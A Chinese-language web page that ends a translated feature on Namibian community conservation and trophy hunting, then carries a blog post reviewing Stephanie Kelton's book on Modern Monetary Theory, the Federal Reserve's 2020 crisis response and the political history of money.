约翰·卡萨纳在纳米比亚西北部长大，小时候曾看着欧文史密斯和他的父亲出发巡视猎物，现在他是农村综合发展和自然保护组织的执行董事，该组织是一个为保护地提供技术支持的非营利性组织。当他到海外谈论纳米比亚保护地系统的成就时，他只是简短地提到，如果有的话，其成功部分取决于来自战利品猎人的收入—— 游客为射杀动物的特权而付费，并在某些情况下保留皮毛或角来展示。对许多保护地来说，有奖狩猎不仅是一个收入来源，也是维护人类和其他物种之间和平的工具，因为战利品猎人有时会针对那些对人类有攻击性的狮子或大象。

卡萨纳很清楚战利品狩猎在他的听众心中所产生的形象。就如西奥多·罗斯福站在一头倒下的大象旁边，被大象的尸体和上翘的象牙弄得相形见绌；埃里克·特朗普咧嘴一笑，抬起一头豹子的瘫痪的身体，他的兄弟站在他身边；津巴布韦的狮子名叫塞西尔，2015年在一次导游狩猎中被一名来自明尼苏达的牙医非法杀害，引起全球哗然 ..... 对于北美和欧洲的一些人来说，非洲的战利品狩猎已经象征着人类对其他物种的罪恶。

2017年，卡萨纳在华盛顿特区的史密森学会会议上发言后，一位年轻女性站在观众席的话筒前发言。“我认为演讲中缺少一些片段”，她开始说道。她说，卡萨纳没有展示被战利品猎人杀死的动物的图片。卡萨纳在讲台上承认国际上对战利品狩猎存在争议，但他说，受管制的商业狩猎仍然是纳米比亚保护地的重要收入来源。还有更多的话要说，但会议已经结束，任何进一步的讨论都被喋喋不休所冲淡。

两年多以后，我在纳米比亚海岸线半程的斯瓦科普蒙德镇见到了卡萨纳。我们在殖民时代的汉萨酒店就着一盘丰盛的咖喱春饼交谈，在这里，德语比英语更多被使用，而且这两种语言比纳米比亚的20多种土著语言和方言都要更普遍。

我要求卡萨纳完成史密森尼会议上对提问者的回答。他说：“我不喜欢他们对动物所做的事，但他们中的大多数人都不愿意住在可能伤害他们家人的狮子出没的地带”。

在纳米比亚为运动而狩猎的大多数游客追求的是更常见的物种，如春牛，其狩猎是通过保护地的配额制度允许的。对于全球受威胁的物种，每年可以射杀的动物数量（如果有的话）由《濒危野生动物国际贸易公约》（CITES）规定。2004年，该公约缔约方批准了纳米比亚和南非允许有限猎杀黑犀牛的申请，确定黑犀牛的数量已经恢复到每个国家每年可以猎杀五头雄性犀牛的程度。在纳米比亚，国家保护部选择哪些犀牛将被猎杀 —— 通常是那些已经变得具有攻击性或领地

性的年长动物—— 并为猎杀颁发许可证。许可证费用被存入一个国家保护信托基金，在最近的一个案例中，一个猎人为射杀一头雄性犀牛支付了40万美元，远远超过了大多数保护地一年的收入。

卡萨纳承认，纳米比亚的战利品狩猎制度并不完美—— 有猎人杀错动物的情况 —— 但他说，从长远来看，通过减少人与野生动物之间的冲突，这对保护地和有关物种都有好处。

当国际保护组织承诺对战利品狩猎进行监管和谴责时，卡萨纳听到了他所说的 “另一种殖民化”—— 对他和其他人花了几十年时间建立起来的地方管理系统的侵犯，以及对其所依赖的收入的威胁。他说：“他们能对那些靠他们试图禁止的东西为生的人说些什么呢？”

卡萨纳认为，全球对战利品狩猎的限制是对复杂情况的简单化反应 —— 奥斯特罗姆可能称之为万能药。不是所有的国家都一样；不是所有的保护地都一样；不是所有的保护地成员都一样；甚至不是所有的战利品猎人都一样。而且，少数狮子和大象比其他动物更危险，那些因凶残动物而失去亲人和生计的人可以证明这一点。

虽然那些带着尸体的战利品猎人的热门照片似乎都在说着同一件事，但它们实际上并不是同一件事。当然，有些是腐败或无谓暴力的象征。但是，在最好的情况下，它们是可持续利用的例子：殖民怀旧，被前殖民者利用以促进多物种的生存。

奥斯特罗姆的公地管理原则现在不仅是纳米比亚保护地系统的基础，也是全世界数百个类似努力的基础。许多人已经恢复和调整了几个世纪前的保护做法，制定了适合当前情况的新规则。其创造者合作管理斐济的珊瑚礁、喀麦隆的高原森林、孟加拉国的渔业、巴西的牡蛎养殖场、德国的社区花园、柬埔寨的大象和马达加斯加的湿地。他们在人烟稀少的沙漠、拥挤的河谷和废弃的城市空间开展工作。

虽然资源保护工作几乎总是带有至少一些短期成本，但研究人员发现，许多基于社区的保护项目减少了这些成本，并且随着时间的推移，为他们的人类参与者提供了巨大的利益，无论是有形的还是无形的。

虽然基于社区的保护开始是对自上而下的保护战略的反叛，但它可以与大型公园和保护区平行运作 —— 甚至促进它们的建立。在纳米比亚西北部，两个相邻的保护区提议建立一个 “人民的公园”，在那里牲畜将被排除在外，游客数量将受到许可证制度的限制，使狮子和其他大型食肉动物更容易避免与人类的冲突。如果国家立法机构批准这些

保护区的建议，该地区将成为一个核心栖息地，大型食肉动物可以在这里相对安全地活动 —— 因为该地区的生物多样性现在不仅受到法律的保护，而且受到人类邻居的支持。

以社区为基础的保护不能解决所有问题，它并不总是能成功地保护公域。在许多情况下，国家政府不承认原住民和其他农村社区的长期土地要求，造成的不确定性，干扰了社区的长期管理努力。即使是完善的系统也容易受到内部冲突和外部压力的影响，包括干旱、战争和全球市场力量。正如奥斯特罗姆经常提醒的那样，任何战略都可能成功或失败。基于社区的保护是独特的，因为许多社会才刚开始了解/或记住它的潜力。她说："我们所忽视的是公民能做什么"。

在印第安纳州，奥斯特罗姆和她的丈夫文森特（也是一位政治学家）创建了政治理论和政策分析工作室，被继续聚集在那里的研究人员亲切地称为"工作室"。目前研究公地管理的学生和奥斯特罗姆一样，都在努力解决在社区层面管理大规模资源问题（如空气污染）的困难。他们在与奥斯特罗姆的研究结果对数字领域的影响作斗争，在那里，对开放存取的推崇往往与奥斯特罗姆对公地作为一个有界限的、受管制的空间的定义发生冲突。尽管一位研究人员在2011年称之为"奥斯特罗姆定律" —— 在实践中可行的东西在理论上也可行—— 甚至奥斯特罗姆的崇拜者有时也呼应她最早的批评者，哀叹该领域缺乏一个总体的理论。

理解所有物种的复杂性的挑战仍在继续，在经常看起来像集体悲剧的情况下看到可能性的挑战也是如此。但是，即使在最黑暗的时候，奥斯特罗姆的作品也依然能提醒我们，未来是难以预料的，充满了让我们跌跌撞撞地远离边缘的机会。〇

原文

印钞机 - iyouport

免费书和纪录片

【2021年5月25日存档】钱首先是一个政治问题，在大众利益的决策上装穷的把戏不应该继续玩下去了

【按】钱的问题首先是政治问题，这不仅意味着经济动态是最醒目的政治风向标，并且，应该提醒人们，经济学作为反抗工具的重要性。请注意，这里指的经济学经常不是您在名牌大学的高墙内被教授的那些东西 —— 它们只教授您如何维护现有体制；相反，是打破那些东西的真正的民主经济学。关于如何解决我们现有困境的思考。

本文是对2020一本新书的研究，这本书对一个新的处于漩涡之中的经济学变革理论做出了更好的诠释。这一理论正在遭到来自左中右各派的全力炮轰，但是，它并非如那些评判者所宣称的 “过于激进”，相反，是还不够激进。

希望这本书为中国的变革推动者、尤其是信任经济学作为武器的变革推动者，带来灵感。

本文中提及的两本主要的书籍您可以免费在这里下载：https://www.patreon.com/posts/yin-chao-ji-47854583

去年3月下旬的一个周日晚上，在经历了一周的流行病恐慌突然升温和股市暴跌之后，一位银行家在全国电视上说出了一个关于美国金融体系的朴素的事实：美国永远不会缺钱。

这位银行家讲究是明尼阿波利斯联邦储备银行总裁尼尔·卡什卡瑞（Neel Kashkari）。斯科特·佩利 (Scott Pelley) 在CBS新闻节目《60分钟》中介绍说，卡什卡瑞是印度移民的儿子，四十六岁，“简直就是个火箭科学家”。他曾离开工程师的职业，在沃顿商学院学习商业，然后在高盛工作。

在2008年经济几近崩溃后，卡什卡瑞还曾负责政府的问题资产救助计划（TARP）。他正在向佩利讲述当时的经验教训。他说，这一次，

美联储系统的领导人将迅速采取行动，确保银行拥有他们所需的所有资金，以便贷款可以用于未来几个月内会被饿死的企业。

“美联储只是要印钱吗？” 佩利问道。

“这就是国会告诉我们要做的事，就是字面上的意思”，卡什卡瑞说，“这是他们给我们的权力，印钱，为金融系统提供流动性”。

然后是一个澄清的时刻—— 当一个关于金钱和政治经济的基本的但很少被提及的真相出现的时候：

佩利：你可以把美联储过去一周所做的一切描述为基本上是用钱来充斥整个系统吗? 卡什卡瑞：是的，没错。 佩利：而且你们这样做下去的能力没有止境吗? 卡什卡瑞：我们的能力是没有止境的。

卡什卡瑞有备而来，显然是为了安抚华尔街投资阶层的不安情绪 —— 尽管这对普通观众来说可能听起来令人费解或焦虑。无休止的印钞？充斥系统？（实际上卡什卡瑞说，“我们以电子方式创造它”）没有限制？这听起来很危险，不切实际，夸张。

3月23日星期一，也就是上述采访播出的第二天，美联储宣布了 “广泛的新措施来支持经济” 。其中包括两个新的贷款项目，“支持对大型雇主的信贷 —— 也就是向企业发行新的债券和贷款，以及购买现有的企业债券。然后就是周三，参议院以**96–0**的投票结果通过了美国历史上最大规模的经济救援法案，使至少**2.2**万亿美元可以提供给大企业和小企业、提供给失业工人、并以1200美元支票的形式提供给大多数纳税人。周五，众议院以口头表决的方式批准了这一方案，并在当天下午就由总统签署成为法律。总统似乎对计划的规模印象深刻，吹嘘 “它比以往签署的任何救济都要大一倍” 。

它的规模是过往的两倍多。在2008年金融危机之后，奥巴马政府推动的经济刺激法案只有7870亿美元 —— 当时奥巴马团队的主要顾问担心，如果他们要求超过一万亿的资金，国会会有 “标价震惊”。（就是指发现价格比想像的要高得多而产生的震惊）

而现在，国会在几乎没有任何异议的情况下，远远超越了这一障碍。事实上，总统很乐意在签字仪式上夸大这个数字，声称 “它实际上达到了6.2万亿美元” 。

正如几位精明的记者在那周里所解释的，国会方案要求提供4540亿美元来支持美联储的新贷款计划；这旨在为美联储在提供所有这些信贷

时可能产生的任何损失提供保险。

但实际的放贷金额是这个“保险”金额的十倍。这就是美联储的“神奇的货币机器”，就像纽约时报所说的那样，可以从财政部拿走100亿美元，然后用它来支持1000亿美元的美联储贷款。这就是美联储如何利用这**4540**亿美元的杠杆作用，为经济注入多达**4**万亿美元的资金。

不仅仅是天文数字的资金，还开创了新的先例。通常美联储只通过银行工作，让银行来发放贷款；但现在，正如华盛顿邮报所解释的那样：“美联储最近的行动甚至比大衰退时期央行的做法更进一步。美联储直接向大公司和各州购买债务，这种支持程度是它以前从未尝试过的。”

所有这些都发生在3月的一个星期里。在这一周里，联邦政府突然集体意识到经济有可能像泰坦尼克号一样下沉，并带走数以百万计的人。所以，在金融系统“时而矛盾但总是很努力”的隐喻中，紧急情况需要通过“用钱淹没系统”来维持人们的生存。

联邦政府，特别是美联储的这种近乎超自然的权力，是一种古老的权力。本杰明-斯特朗（Benjamin Strong），这位在1913年联邦储备银行成立后的前20年里叱咤风云的纽约联储总裁，在1928年宣称，金融灾难总是可以通过“用钱淹没街道”来避免。然而，他在1929年的大崩盘前去世，美联储在实际事件中行动谨慎。大萧条随之而来。在现代，中央银行家们越来越大胆，越来越自信，他们知道如何防止另一次大萧条。他们的信念是，美国不会破产，不会没有钱—仅仅因为“我们（印钱）的能力是没有止境的”，以创造企业和消费者需要的钱，使经济增长。

印钞机哦

「图」

这一切在华尔街都很好理解，投资者在3月下旬的反应是信心大增。道琼斯指数此前曾在18500点触底，比2月的高点低了1万多点，但到了月底却反弹到22000点以上。美联储巨大的不言而喻的力量是调动市场；投资者依靠专业的“美联储观察者”帮助解读美联储采取的或可能采取的每一个影响关键利率的行动，进而影响货币供应量，无论是宽松还是紧缩，都有可能使经济升温或降温。现在，美联储已经将利率降至近乎零。投资者希望，宽松的货币能帮助企业度过经济衰退，并使经济复苏 —— 在乐观主义者看来，到2020年底就能实现。

然而，可以肯定地说，政府的“神奇金钱机器”在精英金融圈之外并不那么被理解。

凡是上过经济学入门课程的人都知道，如果政府印制了太多的钱，结果将是猖獗的通货膨胀；大多数人都明白压倒性债务的危险性，当经济开始再次向前发展时，这些企业将如何从债务中挖出出路？就这一点而言，联邦政府将如何管理这么多新的负债？

普通美国人生活在一个极限的世界里，他们认为政府最终会像他们一样必须平衡预算。多年来，民主党人和共和党人都曾这样告诉老百姓。即使在紧急经济救助法案又增加了2.2万亿美元的赤字支出之前，在华盛顿的寻常骂声就已经在谴责联邦政府入不敷出了。

2009年初，经济刺激计划获得国会批准后，总统奥巴马在接受**C-SPAN**采访时被问到：“我们在什么时候会没钱？”奥巴马回答说。“嗯，我们现在就没钱了”。

不过，在2008年经济紧急状况和目前的经济紧急状况之间的几年里，一些重要的事情发生了变化。

一小部分经济学家和活动家一直在抨击奥巴马等声明中所反映的所谓“传统智慧”，他们开始赢得新的关注，开始推广他们称之为现代货币理论(MMT)的想法，当政府贷款和支出的真相像2008–2009年和2020年3月那样滑入公众视野时，他们声称这一理论得到了证明。他们坚持认为，在金融紧急情况下适用的规则，在平时也是一样的：美国政府总是先决定花钱，然后再担心“如何支付”。而且，无论预算赤字有多大，美国都不可能没钱。它总能“印”出它所需要的钱来资助它想要的东西。

现代货币理论一度被认为是一场边缘运动，特别是在过去两年中，现代货币理论获得了强大的力量，伯尼·桑德斯总统竞选中的顾问和活动家、以及民主党中的新星，如亚历山大·奥卡西奥-科特兹（Alexandria Ocasio-Cortez）都在吹捧，后者认为现代货币理论可能会为绿色新政等雄心勃勃的支出计划开辟道路。

现在，随着2020年夏天最著名的MMT布道者斯蒂芬妮·凯尔顿(Stephanie Kelton) 适时出书，货币理论即将在金融洪流上涨的时候得到宣泄。凯尔顿是石溪大学的经济学教授。她把过去几年来无数次采访和演讲的论点归纳成了一本紧凑而通俗易懂的书，名为《赤字神话：现代货币理论与人民经济的诞生》。

凯尔顿在书中最先描述了她的皈依经历：上世纪90年代中期，她意识到一位名叫沃伦·莫斯勒（Warren Mosler）的对冲基金投资者的工作。她回忆说，有人给了她一本他的奇怪的小册子《软货币经济学》。她注意到，莫斯勒并不是一个经济学家，他的论文（后来扩展成一本自己出版的书）“讲的是经济学专业如何把几乎所有的事情都搞错了。我读了它，但我并不相信”。

第二年，她去佛罗里达州西棕榈滩的海滨别墅拜访了莫斯勒。她写道，她听了他的理论好几个小时。“我简直头晕目眩”，但她开始明白他的观点了：政府花钱不需要税收，它先花钱，然后收取税收，或者通过发行债券借钱。政府的支出创造了工作岗位 —— 也创造了私营企业创造工作岗位的条件—— 让人们赚到了他们可以继续交税的钱。“我曾在剑桥大学跟世界著名的经济学家学习经济学，我的教授们从来没有说过这样的话”，她写道。

凯尔顿在新学院攻读博士学位时开始深入研究税收和政府债券。1997年在利维经济研究所做研究员时，她认识了其他挑战传统经济理论的人，这些人的研究都是关于政府征税和支出的，几年后，当她在密苏里大学-堪萨斯城分校结束学业时，那里还有其他MMT的支持者，其中包括兰德尔·雷 (L. Randall Wray)，她称他为 “宏观经济学领域的现今巨人，也是MMT的主要经济学家”。

兰德尔·雷从20世纪90年代初开始就在教科书、工作论文和文章中发展MMT理论。MMT论述的出发点之一是，并不是所有的政府都拥有美国所享有的特殊特权；只有那些发行自己的 “主权货币”—— 使用不兑换金银的 “法币” —— 并以自己的货币借贷的国家政府，才能成功地实行现代货币政策。这意味着，MMT适用于美国、英国和日本等大国，但不适用于委内瑞拉或希腊等国。最关键的是，它也不符合各州和地方的预算要求，因为它们不可能随随便便地出现赤字—— 它们不印自己的货币。另外，几乎所有的州都有平衡预算的法律规定或宪法要求。

兰德尔·雷的研究中另一个一致的主题是，美国将过多的经济权力交给了美联储，从而走上了错误的经济道路。其观点是，美联储在通过货币政策 —— 通过设定利率来收紧或放松货币供应量 —— 治理经济方面应该发挥较小的作用，而这种权力应该掌握在国会的民选官员手中。他们将利用财政政策 —— 征税和支出 —— 使经济保持在能力范围内，或者防止经济过热而引起过多的通货膨胀。

兰德尔·雷在这里的批评由来已久：美联储不接受民主问责。虽然联邦储备委员会的七位理事由总统任命，并由参议院确认，但是，组成联

邦储备系统的十二家地区银行是由商业银行代表选出的总裁领导的。美联储被认为是政府的一个“独立部门”—— 但它总是最贴近私人利益，尤其是银行。

兰德尔·雷则认为凯尔顿将MMT理论带给了更多的受众，而不仅仅是经济学者。“很明显，她已经成为M.M.T.最引人注目的面孔”，雷去年告诉纽约客，“她完善了向公众展示这些观点的方式”。

凯尔顿有一个优势，那就是近距离观察过美国的预算政治。2015年，她作为参议员伯尼·桑德斯选中的幕僚，在华盛顿的参议院预算委员会工作。

在华盛顿，她听到的辩论似乎的确是在把一切都弄反的（注：“传统经济学把一切都弄反了”，这是批判界的口头禅）。她也看到了关于赤字的思维在国会中是多么的根深蒂固。在她的新书中，最不令人惊讶的启示之一，就是大多数国会议员在基本经济原则方面的无知。她讲述了让议员们想象他们有一根魔杖，可以消除所有国债的故事。“你会挥动魔杖吗？”不可避免地，答案是“会！”但是，你会挥动这样一根魔杖，让全世界也摆脱美国国债市场吗？在一番疑惑之后，大多数人会说，不会，那就不好了：

这些人在一个委员会任职，这个委员会简直就是为了处理与联邦预算有关的问题而专门设立的，但他们中似乎没有任何一个人能看懂这招。他们都对国债爱恨交加。他们喜欢美国国债，只要他们认为美国国债是私人部门持有的金融资产；但当他们认为这些证券是联邦政府的债务时，他们就会讨厌这些证券。不幸的是，如果不消除构成国债的工具，你就无法挥别国债。它们是一个整体。

凯尔顿后来在桑德斯2016年的总统竞选中成为他的顾问，又在他最近的2020年提名竞选中成为他的顾问。同样，她看到了美国财政如何在政治聚光灯下讨论的现实情况。

一次又一次，桑德斯会被问到他计划如何为雄心勃勃的改革提供资金，比如全民医保体系。他总是指出，在世界上最富裕的国家，这样的目标是可以实现的。但是，他却从未出面直接认可医保制度。他不想在赤字开支问题上显得轻描淡写，吓到公众。在2019年4月的一次福克斯新闻电视转播活动中，桑德斯说：“我关注债务问题。这是一个合理的担忧。每个美国人都应该关注它。这不是我们应该留给我们的子孙的东西”。

“严肃的人”

「图」

虽然MMT吸引了许多民主社会主义左翼的爱好者，但它本质上并不是一个左翼学派。它的理论可以被用来论证降低税收。如果赤字支出不是那么糟糕，为什么不减轻税负？事实上，如果你看看从里根政府到现在的共和党领导层的记录，就能得出结论，共和党人就是隐藏的MMT者 —— 他们喜欢经营巨额赤字。前财政部长保罗·奥尼尔（Paul O'Neill）在向副总统迪克·切尼（Dick Cheney）抱怨乔治·W·布什时期的减税政策时就意识到了这一点。奥尼尔告诉记者 Ron Suskind，切尼的回答是："里根证明了赤字并不重要"。

与此同时，**MMT**吸引了来自右翼、左翼，尤其是中间派的攻击火力，中间派比左右两派都更崇尚"财政责任"的理念。华盛顿特区有一个有影响力的团体网络，许多人都是由已故投资银行家皮特·彼得森资助的，他们的整个职业生涯都在警告公众政府债务这个"定时炸弹"。1989年，纽约一家房地产开发商在曼哈顿时代广场附近安装了一个"国债钟"，希望这串长长的数字能告知（也能吓倒）公众。

你会料到中间派会断然拒绝MMT。但大多数成熟的经济学家也是如此。当《纽约客》去年介绍凯尔顿时，作家扎克·赫尔方德（Zach Helfand）引用了自由派经济学家保罗·克鲁格曼（Paul Krugman）的话来驳斥MMT："如果我能弄清楚他们到底是怎么想的，那就见鬼了"。来自右派的乔治·W·布什的前经济顾问格伦·哈伯德（Glenn Hubbard）指责MMT"根本没有连贯的框架"，并停留在为每个人提供免费午餐的梦想上。"我认为国家可以拥有比现在更多的债务。我认为这是一个开放而有趣的问题，我们可以讨论"，哈伯德告诉赫尔方德，"但免费午餐实在是太傻了。没有任何严肃的人会相信这个"。

左翼经济学作家道格·亨伍德（Doug Henwood）的观点也差不多是这样。亨伍德曾经出版过《左派商业观察家》通讯，是1997年Verso书《华尔街：它如何工作、为谁服务》的作者。2019年2月在《雅各宾》杂志上长篇大论（八千多字），批判的结论是称MMT是"幻象，是帝国后期的狂热，而不是严肃的经济学政策"。亨伍德承认自己"有点夸张了"，他描述了MMT的吸引力："敲几下电脑键盘，每个人都能获得医疗保险，学生债务消失，我们也能拯救气候，没有那些乱七八糟的阶级冲突"。

亨伍德认为，市场营销学没有认真对待通货膨胀的风险。人们觉得通货膨胀令人不安，"它滋生了对秩序的渴望"，他写道。"通胀率在**20**世纪**70**年代的上升，在那个**15%**的记录中达到了高潮，这有助于为里根加油。**20**世纪**20**年代魏玛德国的极端通货膨胀促成了希特勒的崛

起”。

- 推荐看这个纪录片《两个时代，同一种政治毒品》

亨伍德还和许多批评者一样，嘲笑了这样一种观点，即：国会应该负责用税收政策来平抑通胀，而不是将抗击通胀的工作委托给美联储。“任何看过国会在税收和支出政策上有多么挣扎的人都不得不怀疑，怎么会有人相信财政政策可以以必要的速度和精度进行微调呢”，他写道。在亨伍德看来，更好的路径是让美联储的专业人士担心通货膨胀（和失业），然后坦诚地对待通过提高税收、特别是对富人征税，来资助雄心勃勃的联邦支出计划的必要性。

亨伍德的指责既针对雷，也针对凯尔顿。但他也对他所遇到的MMT的狂热支持者感到恼火。“社交媒体上大量的普通人对MMT都非常狂热”，他写道，“一个助手发出了220条推文，以回应我提出的批评”。可想而知，亨伍德的宽泛言论激起了四位MMT “助手”—— 他们都与现代货币网有关—— 在《每月评论在线》上发表了回应。他们指出，整个2018年左派圈子里都有传言说亨伍德正在努力 “攻陷” MMT，他们写道：

我只想说，这不值得等待。这篇文章不过是将那些已经被无限次回应的旧的*MMT*批评，再加上一些独特的历史挑剔，混杂在一起的结果。因为解读每一个 “亨伍德主义” 都需要写一本书，所以我们不打算对每一个具体观点进行回复。

他们对亨伍德关于中央银行的观点有异议，他们认为他 “痛苦地曲解了” Michal Kalecki 在1943年发表的《充分就业的政治方面》一文，他们还驳斥了他对 “稳健的货币” 而不是通货膨胀的赤字支出的偏好。他们写道：“对于亨伍德来说，左派的作用只是格外努力地争论企业和富人应该支付他们 ‘公平的份额’ 的税收。这相当于希拉里·克林顿政治的一个更喧嚣的版本”。他们的底线是：如果你称自己为 “健全的金融社会主义者” (就像亨伍德那样)，你就是在支持 “新自由主义的基础神话” ，这就是为什么新的医疗保健、反贫困和环境支出计划总是被认为是无法负担的理由。“我们认为，证明系统可以支付但不会支付，在说明为什么必须维持现状方面，其功能将无限强大”，他们写道。

被困在钱里

「图」

听经济学家辩论他们的理论，往往就像听敌对的宗教派别争论他们的圣典那样。在约翰·梅纳德·凯恩斯 (John Maynard Keynes) 颇具影响力的著作通过新政指导美国政策之后的几年里，有一种长期的正统观念：联邦政府可以很容易地通过赤字来提高经济的生产力。然后，米尔顿·弗里德曼 (Milton Friedman) 在20世纪60年代初出现了，他认为通货膨胀是经济中太多的货币乱窜的自然结果；他的弟子们称自己为“货币主义者”。在弗里德曼的挑战之后，经济专家们似乎无法就通货膨胀的真正原因达成一致。许多人认为如果通货膨胀上升，失业率就会下降，反之亦然；但在20世纪70年代，通货膨胀和失业率同步上升，他们不得不发明一个新的术语：“滞胀”。

在去年3月大流行病来袭之前，美国已经维持了10年的低通胀和失业率下降。然而，美联储和大多数经济学家仍然认为，如果通胀真的开始上升，唯一能平抑通胀的办法就是推向衰退 —— 也就是故意让人们失业。理想情况下，美联储会尽早行动，以防止工资-价格螺旋上升。

美联储前主席小威廉·麦凯斯尼·马丁（William McChesney Martin Jr.）曾对这一想法进行过著名的描述，他说美联储的主要作用是“在派对开始的时候就把潘趣碗拿走”。然而有时如果“派对”失控，就像70年代通货膨胀持续时那样，就需要严重的衰退。至少，这似乎是美联储主席保罗·沃尔克任期内的教训，他引发了1980年代初的经济困境。

“大多数经济学家”，凯尔顿在《赤字神话》一书中写道，“仍然信奉五十年前的学说，依靠人类的痛苦来对抗通货膨胀”。但她也拒绝了常见的批评，即**MMT**经济学家不关心通胀：她一再表示，通货膨胀是对政府支出的一个真正的制约因素，是一个不能被希望消除或忽视的限制因素。“然而，我们相信有更好的方法来管理这类通胀压力”，她写道，“而且可以在不使数百万人陷入永久失业的情况下做到这一点”。

不幸的是，这些“更好的方式”，在MMT的设想中，取决于选出愿意更明智地使用税收和支出权力的国会议员。这是一个很容易被人嘲笑的希望。然而，将经济的整体管理权交到美联储理事手中，也存在不止一个明显的问题。这不仅仅是美联储几十年来更适应于对抗通货膨胀（债券持有人特别珍视的目标），而不是降低失业率。这也是一个权力问题：美联储只负责放贷；国会的作用是将钱直接花到经济中，以及将钱征税回来。

有些时候（比如在目前由流行病驱动的经济衰退中），正如凯尔顿所

写的那样，“货币政策的效力有限。它的作用主要是将消费者和企业逼入债务之中”。这一点在4月份体现出来了，当时美联储现任主席杰罗姆·鲍威尔（Jerome Powell）敦促国会“利用美国巨大的财政力量”来支持经济。他的意思很明显，美联储光靠放贷是做不到的。

现在，美国突然面临着至少15%的失业率—— 截至5月底，有超过4000万人提出失业申请 —— 也许，市场经济学家提出的最重要的想法就是联邦就业保障。富兰克林·罗斯福（Franklin Delano Roosevelt）在大萧条期间提出了这样的观点：工作应该是所有美国人的一项经济权利。但是，正如凯尔顿所观察到的那样，“大多数经济学家都满足于让市场来决定提供多少工作岗位”。对于MMT的思想家来说，失业和衰退意味着经济的运行远远低于其生产能力。为什么这应该被接受为某种自然灾害？凯尔顿是这样描述联邦回应的：

联邦政府宣布为任何正在寻找工作但无法在现有经济中找到合适工作的人提供工资（和福利）方案。几位*MMT*经济学家建议，这些工作岗位应以建立护理经济为导向。非常一般地，这意味着联邦政府将致力于资助那些旨在照顾我们的人民、我们的社区和我们的地球的工作。这实际上是在劳动力市场上建立了一个公共选择，政府固定一个小时工资，并允许雇佣到该计划中的工人数量浮动。

这种思想与凯恩斯的新政自由主义和民主社会主义是相容的。在我听来，它还带有美国旧时经济民粹主义的明显回声。现代货币理论显然不是其中的任何一种。但它可以在把自由主义者、社会主义者和民粹主义者联合起来方面发挥作用 —— 也就是说，如果民主党不那么害怕左翼和保守派对它的嘲讽的话。

任何凯尔顿所描述的“人民经济”的愿景，都将不可避免地遭到右派以及大多数中间派的全力反对。他们坚持认为，“我们负担不起“；而即使我们负担得起，这种政府干预也会破坏自由市场经济的自然运作。正如作家威廉·格雷德(William Greider) 曾经解释米尔顿·弗里德曼的货币主义和通货膨胀恐惧症的基本论点那样：“对生活的预期是有自然限制的。如果民主的野心试图将经济推向这些极限之外，混乱和无序就会随之而来”。

黄金臭虫的生活

「图」

曾几何时，关于金钱的争论是国家政治中强大动荡的中心。在19世纪80年代和19世纪90年代的民粹主义起义中，“金钱问题”得到了热烈

的争论，其方式在现代读者看来几乎是不可能的神秘。银行家们坚持健全的货币或“诚实的货币”，他们有时称之为：整个机构相信，为了使货币有价值，它必须由一种贵金属支持，最好是黄金。任何其他的东西都是“法币”，也就是任意的和不稳定的，没有内在价值的。

通过不懈的组织，农民和债务人开始明白货币制度如何对他们不利。他们推崇纸币的想法 —— “美元”—— 有价值的弹性，以调节的方式允许货币供应随着国家的扩张而扩张。正如劳伦斯·古德温在他的经典著作《民主的承诺：美国的民粹主义时刻》（1976）中所解释的那样，这一切都在1896年的总统选举中达到了高潮，然后是一场惨败，当时威廉·詹宁斯·布莱恩作为民主党的标杆人物，将民粹主义运动的能量转移到了对“银币”的斗争中，而热衷于健全货币的势力（“黄金臭虫”）则联合起来，支持共和党人威廉·麦金利，他成为了第二十五任总统。

多年来，我多次回到古德温的作品中，总要努力理解美元派、银币派和黄金臭虫派之间的战线。在美联储成为货币的唯一管家之前的几十年里，货币的意义是有争议的。但古德温的历史中有一部分在我多年前第一次读到时，如雷贯耳 —— 每当美国政治在 ”金钱问题” 上出现新的转折时，我都会想起它。

当农民在**19**世纪**80**年代组织起来时，他们联合反对当时集中的经济利益，特别是银行和铁路。他们成立了合作社，并创建了一个农民联盟。联盟招募了了解金融体系的演讲者 —— 一支由巡回演讲者组成的民粹主义队伍，最终发展到四万人。正如古德温所写的那样：

在*19*世纪*80*年代末，认真的农民讲师踏上了跨越大陆的旅程，去组织民间，而且，这种景象现在看来有一种乡土的壮观。事实上，这是十九世纪美国任何公民机构最大规模的组织运动。更广泛的轮廓也有类似的规模：联盟的五年运动把讲师们带到了四十三个州和领地，触及了两百万个美国农场家庭；它给两样都没有的南方农民带来了一个计划和目标感，并为那些有激进目标但缺乏听众的人提供了一个组织媒介。

今天已经很难想象这样的努力。偶尔会有总统候选人试图领导一场关于金钱权力的全国性讨论 —— 就像杰西·杰克逊在1988年和伯尼·桑德斯在最近的两次竞选中所做的那样。但古德温描述的是一种完全不同的东西，一种涉及双向沟通的东西。当联盟的讲师们走遍全国各地时，他们被他们所目睹的贫困以及他们从挣扎的农民那里听到的故事所感动。他们正在发展自己的内部交流，这对运动的建立至关重要。古德温写道，地方讲师“在运动内部形成了一个激进主义的核心”。

而现在，利用现代通信技术促进金融知识的大部分努力都是单向的、被动的、个人主义的。Suze Orman 可能会向CNBC的观众解释为什么他们应该偿还信用卡；周六下午AM电台的广播可能会建议来电者，15年的抵押贷款比30年的抵押贷款更适合他们；一场TED演讲可能会将个人幸福与个人理财联系起来，并吸引了一百万听众 …… 但这些都不是为了阐明一个人的财务困难与其他数百万人的财务困难之间的联系的。

在他1987年出版的《圣殿的秘密》一书中，威廉·格雷德回顾了民粹主义运动的时期，当时普通人明白 “钱首先是一个政治问题，一个由国家慎重选择的问题” 。

十九世纪的公民们经常很熟悉货币政策的政治含义，并在彼此间激烈地辩论这个问题。普通人不受现代经济学面纱的束缚，对货币和信贷的复杂方面形成了自己的观点，而这些话题在**20**世纪却成为了只属于专家的话题。至少在这一维度上，现代人比他们的祖先更无知。

格雷德的书是美国被隐藏的权力的伟大揭露之一。他记录了美联储的创建是如何从进步但反民粹主义的冲动中成长出来的，把国家经济的管理权交到 “专家” 手中，使美联储的决定免受民主压力，“这与公民自治的神话之间是令人困惑的矛盾” 。

我们需要的是运动

「图」

今天的基本货币问题与白银或黄金无关。美联储在1933年结束了将联邦储备券兑换成黄金的选择；美国最终在1971年放弃了外汇中的金本位。然而，现在问题的核心与民粹主义起义时一样：控制货币体系的人有权力决定，正如格雷德所说，“谁会繁荣，谁会失败” 。

